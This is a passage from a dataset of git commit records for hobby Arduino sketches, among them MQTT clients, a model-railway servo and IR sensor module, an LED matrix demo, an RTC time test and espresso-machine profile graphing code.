client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(\"arduinoClient\")) {\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mqtt_subscriber\/mqtt_subscriber.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"890c22279388138b902fa1c8112d17e4b811843d","subject":"new example of producer\/consumer module","message":"new example of producer\/consumer module\n","repos":"amaurial\/mergCanBus,amaurial\/mergCanBus,amaurial\/mergCanBus,amaurial\/mergCanBus","old_file":"examples\/merg_servo_ir\/merg_servo_ir.ino","new_file":"examples\/merg_servo_ir\/merg_servo_ir.ino","new_contents":"\/*\nThis example implements a ir sensor controller to detect block occupancy.\nIt drives 16 ir. Can be more in arduino Mega, but it just an example.\nThe module produces ON\/OFF events.\nThe vents can be toogled by the first 2 node variables. 0 means ON when train enters, OFF when trains leaves.\n1 means the oposit. Each bit of the 2 bytes are to ser togle or not.\nUsim FLIM mode teach on\/off events.\nIt implements all automatic configuration, including learning events.\nIt does not handle DCC messages, but you can do it on your user function.\nYou can change the ports to fit to your arduino.\nThis node uses 500 bytes of EPROM to store events and the other information.\nSee MemoryManagement.h for memory configuration\nTo clear the memory, press pushbutton1 while reseting the arduino\n\n*\/\n\n\n\n#include <Arduino.h>\n#include <SPI.h> \/\/required by the library\n#include <TimerOne.h>\n#include <MergCBUS.h>\n#include <Message.h>\n#include <EEPROM.h> \/\/required by the library\n#include <VarSpeedServo.h>\n\n\/\/Module definitions servo\n#define NUM_SERVOS 8 \/\/number of servos\n\/\/ first byte is to indicate which servo is on.\n\/\/ 1 byte to indicate to togle. \n\/\/ 2 for start and end angle in % of 360 grad\n#define VAR_PER_SERVO 6 \/\/variables per servo\n#define SPEED 50 \/\/servo speed\n#define SERVO_START 0 \/\/servo start angle\n#define SERVO_END 180 \/\/servo end angle\n\/\/pins where the servos are attached\n\/\/pins 9,10 and 15 don't work for many servos. servo library limitation\nbyte servopins[]={1,2,3,4,5,6,7,8};\nVarSpeedServo servos[NUM_SERVOS];\nbyte active_servo;\nbyte togle_servo;\n\n\/\/Module definitions sensor\n#define NUMSENSORS 8\n#define TLIMIT 500\n#define RLIMIT 25\nstruct SENSOR {\n int port;\n int state;\n unsigned long time;\n unsigned long resets;\n};\nbyte togle_ir;\n\nstruct SENSOR sensors[NUMSENSORS];\nint sensorport[NUMSENSORS]={A0, A1 ,A2 ,A3, A4 ,A5, A6,A7};\n\n\/\/first 2 are to indicate which servo is on. 2 bytes to indicate to togle. 2 for start and end angle\n#define VAR_PER_SENSOR 1 \/\/variables per servo. used as reserve. it is mostly used by consumers\n\n\/\/CBUS definitions\n#define GREEN_LED 27 \/\/merg green led port\n#define YELLOW_LED 26 \/\/merg yellow led port\n#define PUSH_BUTTON 25 \/\/std merg push button\n#define PUSH_BUTTON1 28 \/\/debug push button\n#define NODE_VARS 4 \/\/2 for togle events, 2 for spare\n#define NODE_EVENTS 30 \/\/max number of events\n#define EVENTS_VARS VAR_PER_SENSOR \/\/number of variables per event\n#define DEVICE_NUMBERS NUMSENSORS+NUM_SERVOS \/\/number of device numbers. each servo can be a device\n\n\n#define EVENTS_VARS VAR_PER_SERVO \/\/number of variables per event\n#define DEVICE_NUMBERS NUM_SERVOS \/\/number of device numbers. each servo can be a device\n#define TOGLE_IR_VAR 1\n#define TOGLE_SERVO_VAR 2\n#define ACTIVE_SERVO_VAR 3\n#define START_ANGLE_VAR 4 \/\/var index for the start angle\n#define END_ANGLE_VAR 5 \/\/var index for the end angle\n\n\/\/arduino mega has 4K, so it is ok.\n\n\n\/\/create the merg object\nMergCBUS cbus=MergCBUS(NODE_VARS,NODE_EVENTS,EVENTS_VARS,DEVICE_NUMBERS);\n\nvoid setup(){\n\n pinMode(PUSH_BUTTON1,INPUT_PULLUP);\/\/debug push button\n Serial.begin(115200);\n\n \/\/Configuration data for the node\n cbus.getNodeId()->setNodeName(\"MSERVOIR\",8); \/\/node name\n cbus.getNodeId()->setModuleId(58); \/\/module number\n cbus.getNodeId()->setManufacturerId(0xA5); \/\/merg code\n cbus.getNodeId()->setMinCodeVersion(1); \/\/Version 1\n cbus.getNodeId()->setMaxCodeVersion(0);\n cbus.getNodeId()->setProducerNode(true);\n cbus.getNodeId()->setConsumerNode(true);\n cbus.setStdNN(999); \/\/standard node number\n\n if (digitalRead(PUSH_BUTTON1)==LOW){\n \/\/Serial.println(\"Setup new memory\");\n cbus.setUpNewMemory();\n cbus.setSlimMode();\n cbus.saveNodeFlags();\n }\n cbus.setLeds(GREEN_LED,YELLOW_LED);\/\/set the led ports\n cbus.setPushButton(PUSH_BUTTON);\/\/set the push button ports\n cbus.setUserHandlerFunction(&myUserFunc);\/\/function that implements the node logic\n cbus.initCanBus(53); \/\/initiate the transport layer. pin=53, rate=125Kbps,10 tries,200 millis between each try\n\n \/\/create the servos object\n setupSensors();\n setUpServos(); \n \/\/Serial.println(\"Setup finished\");\n}\n\nvoid loop (){\n cbus.cbusRead();\n cbus.run();\/\/do all logic\n\n if (cbus.getNodeState()==NORMAL){\n checkSensors();\n }\n\n \/\/debug memory\n if (digitalRead(PUSH_BUTTON1)==LOW){\n cbus.dumpMemory();\n }\n}\n\n\/\/user defined function. contains the module logic.called every time run() is called.\nvoid myUserFunc(Message *msg,MergCBUS *mcbus){\n boolean onEvent;\n unsigned int converted_speed;\n int varidx=0;\n\n byte servo_start,servo_end;\n if (mcbus->eventMatch()){\n onEvent=mcbus->isAccOn();\n getServosArray(msg,mcbus);\n Serial.println(\"event match\");\n servo_start=mcbus->getEventVar(msg,START_ANGLE_VAR);\n servo_end=mcbus->getEventVar(msg,END_ANGLE_VAR);\n Serial.println(servo_start);\n Serial.println(servo_end);\n \/\/get the events var and control the servos\n for (int i=0;i<NUM_SERVOS;i++){\n\n if (isServoActive(i)){\n moveServo(onEvent,i,servo_start,servo_end);\n }\n }\n }\n else{\n \/\/feedback messages\n\n\n }\n}\n\nvoid checkSensors(){\n int state;\n int i;\n unsigned long actime;\n \/\/int s=7;\n\n for (i=0;i<NUMSENSORS;i++){\n state=getSensorState(i);\n \/\/Serial.println(state);\n actime=millis();\n if (state==LOW){\n if (sensors[i].state==HIGH){\n \/\/if (i==s){\n \/*\n Serial.print(\"Sensor \");\n Serial.print(i);\n Serial.println(\" ON\");\n *\/\n \/\/}\n sendMessage(true,i);\n sensors[i].state=LOW;\n }\n sensors[i].state=LOW;\n sensors[i].time=actime;\n sensors[i].resets++;\n }\n else{\n if (actime-sensors[i].time>TLIMIT){\n if (sensors[i].resets<RLIMIT){\n \/\/give extra time\n sensors[i].time=actime;\n }\n else {\n if (sensors[i].state==LOW){\n \/\/ if (i==s){\n \/*\n Serial.print(\"Sensor \");\n Serial.print(i);\n Serial.print(\" OFF time: \");\n Serial.print(actime-sensors[i].time);\n Serial.print(\" resets:\");\n Serial.println(sensors[i].resets);\n *\/\n sendMessage(false,i) ;\n \/\/ }\n sensors[i].state=HIGH;\n sensors[i].resets=0;\n }\n }\n }\n }\n }\n}\n\n\/\/send the can message\nvoid sendMessage(bool state,unsigned int sensor){\n unsigned int event;\n bool onEvent=true;\n event=sensor;\n if (togleSensor(sensor)){\n onEvent=false;\n }\n if (onEvent){\n cbus.sendOnEvent(true,event);\n }\n else{\n cbus.sendOffEvent(true,event);\n }\n}\n\/\/check if we have to togle the event\nbool togleSensor(int sensor){\n byte first,second;\n bool resp=false;\n first=cbus.getNodeVar(0);\n second=cbus.getNodeVar(1);\n \/\/check if the bit is set\n if (sensor>0 && sensor<9){\n if (bitRead(first,sensor)==1){\n resp=true;\n }\n }\n else if (sensor>8 && sensor<17){\n if (bitRead(second,sensor)==1){\n resp=true;\n }\n }\n return resp;\n}\n\/\/configure the sensors\nvoid setupSensors(){\n int i=0;\n for (i=0;i<NUMSENSORS;i++) {\n sensors[i].state=HIGH;\n sensors[i].port=sensorport[i];\n pinMode(sensors[i].port,INPUT);\n }\n}\n\/\/read the sensor state\nint getSensorState(int i){\n \/\/return digitalRead(sensors[i].port);\n\n int j;\n float ntimes;\n ntimes=30;\n for (j=0;j<ntimes;j++){\n if (digitalRead(sensors[i].port)==0){\n return 0;\n }\n }\n return 1;\n\n}\n\nvoid moveServo(boolean event,byte servoidx,byte servo_start,byte servo_end){\n if (event){\n if (isServoToTogle(servoidx)){\n servos[servoidx].write(servo_start,SPEED);\n }\n else {\n Serial.println(\"moving servo\");\n servos[servoidx].write(servo_end,SPEED);\n }\n }\n else{\n if (isServoToTogle(servoidx)){\n servos[servoidx].write(servo_end,SPEED);\n }\n else {\n servos[servoidx].write(servo_start,SPEED);\n }\n }\n}\n\n\/\/create the objects for each servo\nvoid setUpServos(){\n for (int i=0;i<NUM_SERVOS;i++){\n servos[i].attach(servopins[i]);\n servos[i].write(0,127);\n }\n}\n\/\/is the servo to be activated or not\nboolean isServoActive(int index){\n \n if (bitRead(active_servo,index)==1){\n return true;\n }\n else{\n return false;\n } \n}\n\/\/is the servo by index to togle or not\nboolean isServoToTogle(int index){\n if (bitRead(togle_servo,index)==1){\n return true;\n }\n else{\n return false;\n } \n}\n\n\/\/\n\/\/get the events vars for activate servos and to togle the servos:invert behaviour on on\/off events\nvoid getServosArray(Message *msg,MergCBUS *mcbus){\n active_servo=mcbus->getEventVar(msg,2); \n togle_servo=mcbus->getEventVar(msg,1); \n togle_ir=mcbus->getEventVar(msg,0); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/merg_servo_ir\/merg_servo_ir.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5976dd37c0d19360b14c78208047dbb0abc4ae2f","subject":"to test influxdb","message":"to test influxdb\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_16-mqtt-pub-100ms-50ms\/_16-mqtt-pub-100ms-50ms.ino","new_file":"_16-mqtt-pub-100ms-50ms\/_16-mqtt-pub-100ms-50ms.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\n#define DEBUG_PRINT 1\n#define EVENT_PRINT 1\n\nchar* topic = \"pubtest\";\n\nString clientName;\n\nlong lastReconnectAttempt = 0;\nlong lastMsg = 0;\nint test_para = 0;\nunsigned long startMills;\n\nIPAddress server(192, 168, 10, 10);\nWiFiClient wifiClient;\nPubSubClient client(server, 1883, callback, wifiClient);\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n\n if (client.connect((char*) clientName.c_str())) {\n if (EVENT_PRINT) {\n Serial.println(\"===> mqtt connected\");\n }\n } else {\n if (EVENT_PRINT) {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n if (EVENT_PRINT) {\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n }\n delay(10);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n if (EVENT_PRINT) {\n Serial.print(\". \");\n Serial.print(Attempt);\n }\n delay(100);\n Attempt++;\n if (Attempt == 150)\n {\n if (EVENT_PRINT) {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n }\n ESP.restart();\n delay(200);\n }\n\n }\n\n if (EVENT_PRINT) {\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n }\n}\n\nvoid setup()\n{\n startMills = millis();\n\n if (DEBUG_PRINT) {\n Serial.begin(115200);\n }\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n}\n\nvoid loop()\n{\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 200) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n long now = millis();\n if ( millis() - startMills < 20000 ) {\n test_para = 100;\n } else {\n test_para = 50;\n }\n if (now - lastMsg > test_para) {\n lastMsg = now;\n String payload = \"{\\\"startMills\\\":\";\n payload += (millis() - startMills);\n payload += \"}\";\n sendmqttMsg(topic, payload);\n }\n client.loop();\n }\n } else {\n wifi_connect();\n }\n\n if ( millis() > 30000 ) {\n ESP.deepSleep(0);\n delay(250);\n }\n \/\/delay(10);\n}\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n if (EVENT_PRINT) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n }\n\n unsigned int msg_length = payload.length();\n\n if (EVENT_PRINT) {\n Serial.print(\" length: \");\n Serial.println(msg_length);\n }\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n if (EVENT_PRINT) {\n Serial.println(\"Publish ok\");\n }\n free(p);\n \/\/return 1;\n } else {\n if (EVENT_PRINT) {\n Serial.println(\"Publish failed\");\n }\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_16-mqtt-pub-100ms-50ms\/_16-mqtt-pub-100ms-50ms.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7db695c5fa6c85616ccce89535514b81968e5f3e","subject":"Timer sample","message":"Timer sample\n\nThis is a sample I made using timers. I wasn't able to get it to work\nwith the memory efficient code, but I think if we can make the timer\noverflow time coincide with the array overflow time, we can backsolve to\ndetermine the time since we know the frequency of the clock is 8MHz. I\nthink this is a longer and more tedious solution but if anyone would\nlike to try it , go for it! This also gives a correct output.\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/timer_setup_example\/timer_setup_example.ino","new_file":"arduino\/timer_setup_example\/timer_setup_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e3bf63184f95ebb5740f4287d090b95b3be84f5b","subject":"demo for 2 up matrices","message":"demo for 2 up matrices\n","repos":"jd1056\/Adafuit_backpack,yangjae\/Adafruit-LED-Backpack-Library,adafruit\/Adafruit-LED-Backpack-Library,adafruit\/Adafruit_LED_Backpack,SonusMart\/Adafruit-LED-Backpack-Library","old_file":"examples\/matrix16x8\/matrix16x8.ino","new_file":"examples\/matrix16x8\/matrix16x8.ino","new_contents":"\/*************************************************** \n This is a library for our I2C LED Backpacks\n\n Designed specifically to work with the Adafruit 16x8 LED Matrix backpacks \n ----> http:\/\/www.adafruit.com\/products\/2035\n ----> http:\/\/www.adafruit.com\/products\/2036\n ----> http:\/\/www.adafruit.com\/products\/2037\n ----> http:\/\/www.adafruit.com\/products\/2038\n ----> http:\/\/www.adafruit.com\/products\/2039\n ----> http:\/\/www.adafruit.com\/products\/2040\n ----> http:\/\/www.adafruit.com\/products\/2041\n ----> http:\/\/www.adafruit.com\/products\/2042\n ----> http:\/\/www.adafruit.com\/products\/2043\n ----> http:\/\/www.adafruit.com\/products\/2044\n ----> http:\/\/www.adafruit.com\/products\/2052\n\n These displays use I2C to communicate, 2 pins are required to \n interface. There are multiple selectable I2C addresses. For backpacks\n with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks\n with 3 Address Select pins: 0x70 thru 0x77\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_8x16matrix matrix = Adafruit_8x16matrix();\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"16x8 LED Matrix Test\");\n \n matrix.begin(0x70); \/\/ pass in the address\n}\n\nstatic const uint8_t PROGMEM\n smile_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10100101,\n B10011001,\n B01000010,\n B00111100 },\n neutral_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10111101,\n B10000001,\n B01000010,\n B00111100 },\n frown_bmp[] =\n { B00111100,\n B01000010,\n B10100101,\n B10000001,\n B10011001,\n B10100101,\n B01000010,\n B00111100 };\n\nvoid loop() {\n \n matrix.clear();\n matrix.drawBitmap(0, 0, smile_bmp, 8, 8, LED_ON);\n matrix.writeDisplay();\n delay(500);\n \n matrix.clear();\n matrix.drawBitmap(0, 8, neutral_bmp, 8, 8, LED_ON);\n matrix.writeDisplay();\n delay(500);\n\n matrix.clear();\n matrix.drawBitmap(0, 0, frown_bmp, 8, 8, LED_ON);\n matrix.writeDisplay();\n delay(500);\n\n matrix.clear(); \/\/ clear display\n matrix.drawPixel(0, 0, LED_ON); \n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawLine(0,0, 7,15, LED_ON);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawRect(0,0, 8,16, LED_ON);\n matrix.fillRect(2,2, 4,12, LED_ON);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.clear();\n matrix.drawCircle(3,8, 3, LED_ON);\n matrix.writeDisplay(); \/\/ write the changes we just made to the display\n delay(500);\n\n matrix.setTextSize(2);\n matrix.setTextWrap(false); \/\/ we dont want text to wrap so it scrolls nicely\n matrix.setTextColor(LED_ON);\n for (int8_t x=0; x>=-64; x--) {\n matrix.clear();\n matrix.setCursor(x,0);\n matrix.print(\"Hello\");\n matrix.writeDisplay();\n delay(100);\n }\n\n matrix.setTextSize(1);\n matrix.setTextWrap(false); \/\/ we dont want text to wrap so it scrolls nicely\n matrix.setTextColor(LED_ON);\n matrix.setRotation(1);\n for (int8_t x=7; x>=-36; x--) {\n matrix.clear();\n matrix.setCursor(x,0);\n matrix.print(\"World\");\n matrix.writeDisplay();\n delay(100);\n }\n matrix.setRotation(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/matrix16x8\/matrix16x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f2a6e7a8f0d0a190a3fd0547d3cf7c7918638373","subject":"Test various time manipulations","message":"Test various time manipulations\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/tests\/test_times\/test_times.ino","new_file":"sketches\/tests\/test_times\/test_times.ino","new_contents":"\/**\n * Test various time manipulations using the RTClib and blink\n * the LED on Jeenode port 2 accordingly.\n *\n * 2015-08-16 Bill\n *\/\n\n#include <JeeLib.h>\n#include <Wire.h> \/\/ needed to avoid a linker error :(\n#include <RTClib.h>\n\n\/\/ boilerplate for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\n\/\/ RTC based on the DS1307 chip connected via the Ports library\nclass RTC_Plug : public DeviceI2C {\n \/\/ shorthand\n static uint8_t bcd2bin (uint8_t val) { return RTC_DS1307::bcd2bin(val); }\n static uint8_t bin2bcd (uint8_t val) { return RTC_DS1307::bin2bcd(val); }\npublic:\n RTC_Plug (const PortI2C& port) : DeviceI2C (port, 0x68) {}\n\n void begin() {}\n \n void adjust(const DateTime& dt) {\n send();\n write(0);\n write(bin2bcd(dt.second()));\n write(bin2bcd(dt.minute()));\n write(bin2bcd(dt.hour()));\n write(bin2bcd(0));\n write(bin2bcd(dt.day()));\n write(bin2bcd(dt.month()));\n write(bin2bcd(dt.year() - 2000));\n write(0);\n stop();\n }\n\n DateTime now() {\n \tsend();\n \twrite(0);\t\n stop();\n\n receive();\n uint8_t ss = bcd2bin(read(0));\n uint8_t mm = bcd2bin(read(0));\n uint8_t hh = bcd2bin(read(0));\n read(0);\n uint8_t d = bcd2bin(read(0));\n uint8_t m = bcd2bin(read(0));\n uint16_t y = bcd2bin(read(1)) + 2000;\n \n return DateTime (y, m, d, hh, mm, ss);\n }\n};\n\nPortI2C i2cBus (1);\nRTC_Plug RTC (i2cBus);\n\/* Port led_port (2); *\/\n\nunsigned char start_hh = 14;\nunsigned char start_mm = 49;\nunsigned char stop_hh = 14;\nunsigned char stop_mm = 50;\nlong start_min = 0;\nlong stop_min = 0;\n\n\nlong new_time = 0;\n\nlong toMin(const unsigned char hh, const unsigned char mm) {\n return (hh * 60) + mm;\n}\n\nvoid showDate(const char* txt, const DateTime& dt) {\n Serial.print(txt);\n Serial.print(' ');\n Serial.print(dt.year(), DEC);\n Serial.print('\/');\n Serial.print(dt.month(), DEC);\n Serial.print('\/');\n Serial.print(dt.day(), DEC);\n Serial.print(' ');\n Serial.print(dt.hour(), DEC);\n Serial.print(':');\n Serial.print(dt.minute(), DEC);\n Serial.print(':');\n Serial.print(dt.second(), DEC);\n Serial.println();\n}\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(\"\\n[test times]\");\n Serial.flush();\n\n \/* led_port.mode(OUTPUT); *\/\n \n \/\/ turn the radio off completely\n rf12_initialize(17, RF12_868MHZ);\n rf12_sleep(RF12_SLEEP);\n \/\/ wait another 2s for the power supply to settle\n Sleepy::loseSomeTime(2000);\n\n \/* Serial.print(\"start min \"); *\/\n \/* Serial.print(start_min); *\/\n \/* Serial.print(\"stop min \"); *\/\n \/* Serial.print(stop_min); *\/\n \/* Serial.println(); *\/\n \/* Serial.flush(); *\/\n\n \/\/ Convert start hh:mm to a start minutes\n start_min = toMin(start_hh, start_mm);\n stop_min = toMin(stop_hh, stop_mm);\n\n int led_state = 0;\n \n \/\/ start both tasks 1.5 seconds from now\n \/* scheduler.timer(TASK1, 15); *\/\n \/* scheduler.timer(TASK2, 15); *\/\n}\n\nvoid loop () {\n \/\/ Get time\n DateTime now = RTC.now();\n showDate(\"dt\", now);\n \/* Serial.print(\"secs \"); *\/\n \/* Serial.println(now.get()); *\/\n \/* Serial.println(); *\/\n\n int sec_til_ten_min = 0;\n sec_til_ten_min = 600L - (now.get() % 600L);\n\n \/* Serial.print(\"secs until 10 min: \"); *\/\n \/* Serial.println(sec_til_ten_min); *\/\n\n \/* long cur_min = now.hour() * 60 + now.minute(); *\/\n long cur_min = toMin(now.hour(), now.minute());\n Serial.print(\"cur min\");\n Serial.println(cur_min);\n\n if ((cur_min >= start_min) && (cur_min < stop_min)) {\n Serial.println(\"Operational\");\n } else {\n Serial.println(\"Sleep\");\n }\n\n Serial.flush();\n \n \/\/ Wait 3 secs and continue\n Sleepy::loseSomeTime(3000);\n \/* delay(3000); *\/\n\n \/\/ Check if should be operational\n \/\/ Set flag used\n \/\/ Check reschedule amount aganst RTC\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/tests\/test_times\/test_times.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ffbd55e5bc8f56d7063c617cb3146e8764f6309b","subject":"Signed-off-by: alitai <assaf.litai@gmail.com>","message":"Signed-off-by: alitai <assaf.litai@gmail.com>\n","repos":"alitai\/GS3-Transformer","old_file":"profile_graphing.ino","new_file":"profile_graphing.ino","new_contents":"\/\/*********************************************************************\n\/\/ Profile Graphs: Draw and fill the graph area \n\/\/\n\/\/ COLOR LIST:\n\/\/ ILI9341_BLACK ILI9341_OLIVE ILI9341_RED\n\/\/ ILI9341_NAVY ILI9341_LIGHTGREY ILI9341_MAGENTA \n\/\/ ILI9341_DARKGREEN ILI9341_DARKGREY ILI9341_YELLOW \n\/\/ ILI9341_DARKCYAN ILI9341_BLUE ILI9341_WHITE\n\/\/ ILI9341_MAROON ILI9341_GREEN ILI9341_ORANGE\n\/\/ ILI9341_PURPLE ILI9341_CYAN ILI9341_GREENYELLOW \n\/\/ ILI9341_PINK \n\/\/*********************************************************************\nvoid selectandDrawProfilebyMode()\n{\n\tif (g_cleanCycle || g_flushCycle)\n\t{\t\n\t\tgraphDrawEmptyGraph(); \/\/ For cleaning cycle - Clear existing graph and draw an empty one\n\t\treturn;\n\t}\n\tswitch (g_pullMode)\n\t{\n\t\tcase AUTO_PRESSURE_PROFILE_PULL: \n\t\tcase AUTO_FLOW_PROFILE_PULL:\t\n\t\tcase AUTO_PWM_PROFILE_PULL:\n\t\tcase AUTO_UNION_PROFILE_PULL:\n\t\t\tgraphDrawCurrentProfiles();\n\t\t\tbreak;\n\t\t\t\n\t\tcase MANUAL_PULL:\n\t\t\tgraphDrawEmptyGraph(); \/\/ Clear existing graph and draw an empty one\n\t\t\tgraphDrawFLB(); \/\/Draw line where FLB activates\n\t\t\tclearProfiles();\n\t\t\tbreak;\n\t\t\t\n\t\tcase SLAYER_LIKE_PULL:\n\t\t\tgraphDrawSlayerProfile();\n\t\t\tbreak;\n\t}\n}\n\nvoid graphDrawSlayerProfile()\n{\n\tfloat perPixel = 1.35; \/\/135 pixels represent 100% signal (or 1.35 pixels \/ 1 percent) \n\t\n\tgraphDrawEmptyGraph();\n\n\t\/\/ Draw Flow Limited flow line (this isn't a measured number - just shows a diagram that the flow is \"low\")\n\ttft.fillRect(0, 177, 33, 80, ILI9341_BLACK);\n\tprintSomething(\" PI\", 10, 256 - (slayerPIFlowRate * perPixel) , ILI9341_DARKGREY, NULL , false);\n\ttft.drawFastHLine(34, 260 - (slayerPIFlowRate * perPixel), slayerPIPeriod << 1 , ILI9341_DARKGREY);\t\n\n\t\/\/ Draw the Slayer Main PWM speed (the pressure decay is physical)\n\tprintSomething(NULL, 100 + slayerPIPeriod , 250 - (slayerMainPWM * perPixel) , PWM_BGColor, NULL , false);\n\ttft.print(slayerMainPWM);\n\ttft.print(\"%\");\n\tprintSomething(\"PWM\", 10, 256 - (slayerMainPWM * perPixel), ILI9341_DARKGREY, NULL , false);\n\ttft.drawFastHLine(34 + (slayerPIPeriod << 1), 260 - (slayerMainPWM * perPixel) , 200 - (slayerPIPeriod << 1) , ILI9341_DARKGREY);\n\t\n\t\/\/ Draw the Slayer PI Period vertical line\n\tprintSomething(NULL, 41 + (slayerPIPeriod << 1), (257 - (slayerPIFlowRate + (((slayerMainPWM - slayerPIFlowRate) >> 1) * perPixel))) , timer_Color , NULL , false);\n\ttft.print(slayerPIPeriod);\n\ttft.print(\"s\");\n\ttft.drawLine(34 + (slayerPIPeriod << 1), 260 - (slayerMainPWM * perPixel) , 34 + (slayerPIPeriod << 1) ,260 - (slayerPIFlowRate * perPixel) , ILI9341_DARKGREY);\n\t\n\t\n}\n\nvoid graphDrawCurrentProfiles()\n{\n\tfloat perPixel = 1.35; \/\/135 pixels represent 100% signal (or 1.35 pixels \/ 1 percent) \n\t\n\tgraphDrawEmptyGraph();\n\tgraphDrawFLB();\n\tint pulseSum = 0;\n\tfor (byte i = 0; i < 200; i++)\n\t{\n\t\tpulseSum += g_flowProfile[i]; \/\/ g_flowProfile stores pulses - we need to accumulate them...\n\t\tgraphUpdate(g_PWMProfile[i], i, g_pressureProfile[i], pulseSum, true, false);\n\n\t\t\/\/ Stored profile - calculate expected pull end - print pull time and draw a vertical dashed line\n\t\tif ((i > 10) && (g_flowProfile[i]== 0) && (g_PWMProfile[i] == 0) && (g_pressureProfile[i] == 0))\n\t\t{ \n\t\t\t\/\/Print pull time on graph\n\t\t\tprintSomething(NULL, 42 + i, 210 , timer_Color, NULL , false);\n\t\t\ttft.print(i \/ 2);\n\t\t\ttft.print(\"s\");\n\t\t\tfor (int j = 0; j < 46; j++)\n\t\t\ttft.drawFastVLine(34+ i, 261 - j * 3,2,ILI9341_DARKGREY);\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nvoid graphUpdate(byte pumpSpeedByte, int profileIndex, int averagePressure, unsigned long flowPulseCount, boolean isBackground, boolean preInfusion)\n{\n\tfloat perPixel = 1.35; \/\/135 pixels represent 100% signal (or 1.35 pixels \/ 1 percent) \n\t\n\tchar* colorPWM = PWM_Color;\n\tchar* colorPressure = pressure_Color;\n\tchar* colorFlow = flow_Color;\n\t\n\tif (isBackground) \/\/ draws profile in background (muted) colors\n\t{\n\t\tcolorPWM = PWM_BGColor;\n\t\tcolorPressure = pressure_BGColor;\n\t\tcolorFlow = flow_BGColor;\n\t}\n\n \/\/ Draw 3 current graph pixels\n\tint graph_x = 34+profileIndex;\n tft.drawPixel(graph_x,graph_y ((float)pumpSpeedByte * perPixel * 100 \/ 255) , colorPWM);\n\ttft.drawPixel(graph_x,graph_y(averagePressure * 1.2 * perPixel),colorPressure);\n\tif (preInfusion)\n\t\ttft.drawPixel(graph_x,graph_y((float)flowPulseCount * mlPerFlowMeterPulsePreInfusion * perPixel),colorFlow); 